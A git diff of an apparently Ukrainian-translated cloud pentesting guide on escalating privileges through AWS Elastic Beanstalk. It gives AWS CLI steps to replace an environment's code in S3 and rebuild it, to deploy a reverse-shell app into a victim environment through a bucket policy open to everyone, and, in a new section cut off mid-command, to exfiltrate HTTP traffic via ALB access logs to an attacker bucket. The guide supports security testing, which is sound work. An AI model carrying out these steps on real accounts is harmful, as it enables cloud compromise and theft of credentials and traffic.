diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc/README.md index 4878f6e68..7b1a3a701 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc/README.md @@ -11,11 +11,11 @@ {{#endref}} > [!WARNING] -> Щоб виконувати чутливі дії в Beanstalk, вам потрібно мати **велику кількість чутливих дозволів у багатьох різних сервісах**. Наприклад, ви можете перевірити дозволи, надані **`arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk`** +> Щоб виконувати sensitive дії в Beanstalk, вам потрібно мати **багато sensitive permissions у багатьох різних services**. Наприклад, ви можете перевірити permissions, надані **`arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk`** -### `elasticbeanstalk:RebuildEnvironment`, S3 write permissions та багато іншого +### `elasticbeanstalk:RebuildEnvironment`, S3 write permissions & many others -Маючи **write permissions over the S3 bucket** що містить **code** середовища та дозволи для **rebuild** додатка (потрібні `elasticbeanstalk:RebuildEnvironment` та ще декілька, пов'язаних з `S3`, `EC2` та `Cloudformation`), ви можете **modify** **code**, **rebuild** додаток, і наступного разу при доступі до додатка він **execute your new code**, що дозволить атакуючому скомпрометувати додаток та облікові дані IAM role. +Маючи **write permissions до S3 bucket**, що містить **code** середовища, і permissions на **rebuild** application (потрібні `elasticbeanstalk:RebuildEnvironment` і ще кілька пов’язаних із `S3`, `EC2` та `Cloudformation`), ви можете **modify** **code**, **rebuild** app, і наступного разу, коли ви звернетеся до app, вона **execute your new code**, що дозволяє attacker скомпрометувати application і IAM role credentials цього. ```bash # Create folder mkdir elasticbeanstalk-eu-west-1-947247140022 @@ -30,11 +30,11 @@ aws s3 cp 1692777270420-aws-flask-app.zip s3://elasticbeanstalk-eu-west-1-947247 # Rebuild env aws elasticbeanstalk rebuild-environment --environment-name "env-name" ``` -### `elasticbeanstalk:CreateApplication`, `elasticbeanstalk:CreateEnvironment`, `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `iam:PassRole`, та інші... +### `elasticbeanstalk:CreateApplication`, `elasticbeanstalk:CreateEnvironment`, `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `iam:PassRole`, and more... -Вищезгадані та кілька дозволів **`S3`**, **`EC2`, `cloudformation`**, **`autoscaling`** і **`elasticloadbalancing`** необхідні для створення базового сценарію Elastic Beanstalk з нуля. +The mentioned plus several **`S3`**, **`EC2`, `cloudformation`** ,**`autoscaling`** and **`elasticloadbalancing`** permissions are the necessary to create a raw Elastic Beanstalk scenario from scratch. -- Створити додаток AWS Elastic Beanstalk: +- Create an AWS Elastic Beanstalk application: ```bash aws elasticbeanstalk create-application --application-name MyApp ``` @@ -42,27 +42,27 @@ aws elasticbeanstalk create-application --application-name MyApp ```bash aws elasticbeanstalk create-environment --application-name MyApp --environment-name MyEnv --solution-stack-name "64bit Amazon Linux 2 v3.4.2 running Python 3.8" --option-settings Namespace=aws:autoscaling:launchconfiguration,OptionName=IamInstanceProfile,Value=aws-elasticbeanstalk-ec2-role ``` -Якщо середовище вже створено і ви **не хочете створювати нове**, ви можете просто **оновити** існуюче. +Якщо середовище вже створено і ви **не хочете створювати нове**, ви можете просто **оновити** наявне. -- Запакуйте код вашого додатку та залежності в ZIP file: +- Package your application code and dependencies into a ZIP file: ```python zip -r MyApp.zip . ``` -- Завантажте ZIP-файл у S3 bucket: +- Завантажте ZIP file до S3 bucket: ```python aws s3 cp MyApp.zip s3://elasticbeanstalk--/MyApp.zip ``` -- Створіть версію застосунку для AWS Elastic Beanstalk: +- Створіть AWS Elastic Beanstalk application version: ```css aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-1.0 --source-bundle S3Bucket="elasticbeanstalk--",S3Key="MyApp.zip" ``` -- Розгорніть версію додатка у вашому середовищі AWS Elastic Beanstalk: +- Розгорніть версію application у вашому AWS Elastic Beanstalk environment: ```bash aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0 ``` ### `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `cloudformation:GetTemplate`, `cloudformation:DescribeStackResources`, `cloudformation:DescribeStackResource`, `autoscaling:DescribeAutoScalingGroups`, `autoscaling:SuspendProcesses`, `autoscaling:SuspendProcesses` -По-перше, потрібно створити **legit Beanstalk environment** з **code**, який ви хочете запустити у **victim**, дотримуючись **попередніх кроків**. Можна використати простий **zip**, що містить ці **2 файли**: +Перш за все вам потрібно створити **legit Beanstalk environment** з **code**, який ви хочете виконати на **victim**, дотримуючись **previous steps**. Можливо, це буде простий **zip**, що містить ці **2 files**: {{#tabs }} {{#tab name="application.py" }} @@ -111,7 +111,7 @@ Werkzeug==1.0.1 {{#endtab }} {{#endtabs }} -Після того, як у вас запущено **your own Beanstalk env running** з вашим rev shell, настав час **migrate** його до **victims env**. Для цього потрібно **update the Bucket Policy** вашого beanstalk S3 bucket, щоб **victim can access it** (Зверніть увагу, що це **open** Bucket для **EVERYONE**): +Після того, як **ваш власний Beanstalk env запущений** із вашим rev shell, настав час **migrate** його до env **жертви**. Для цього вам потрібно **оновити Bucket Policy** вашого beanstalk S3 bucket, щоб **жертва могла отримати до нього доступ** (зверніть увагу, що це **відкриє** Bucket для **ВСІХ**): ```json { "Version": "2008-10-17", @@ -162,4 +162,89 @@ Alternatively, [MaliciousBeanstalk](https://github.com/fr4nk3nst1ner/MaliciousBe The developer has intentions to establish a reverse shell using Netcat or Socat with next steps to keep exploitation contained to the ec2 instance to avoid detections. ``` +### `elasticbeanstalk:DescribeEnvironmentResources`, `elasticloadbalancing:ModifyLoadBalancerAttributes`, `s3:PutBucketPolicy`, `s3:ListBucket`, `s3:GetObject` для увімкнення exfiltration ALB access logs + +Якщо attacker може **enumerate** Elastic Beanstalk **web** environment, **update** його, а також **control the policy of an S3 bucket** під своїм контролем, він може **exfiltrate HTTP traffic**, увімкнувши **ALB access logs** і перенаправивши їх у цей bucket. + +> [!NOTE] +> Ця technique також потребує можливості **modify the destination bucket policy**, щоб service доставки ALB log міг записувати logs туди. + +Підготуйте **attacker-controlled bucket**, щоб service доставки ALB log міг записувати туди: +```bash +ENV_NAME= +LOG_BUCKET= +LOG_PREFIX= +cat > /tmp/alb-log-policy.json <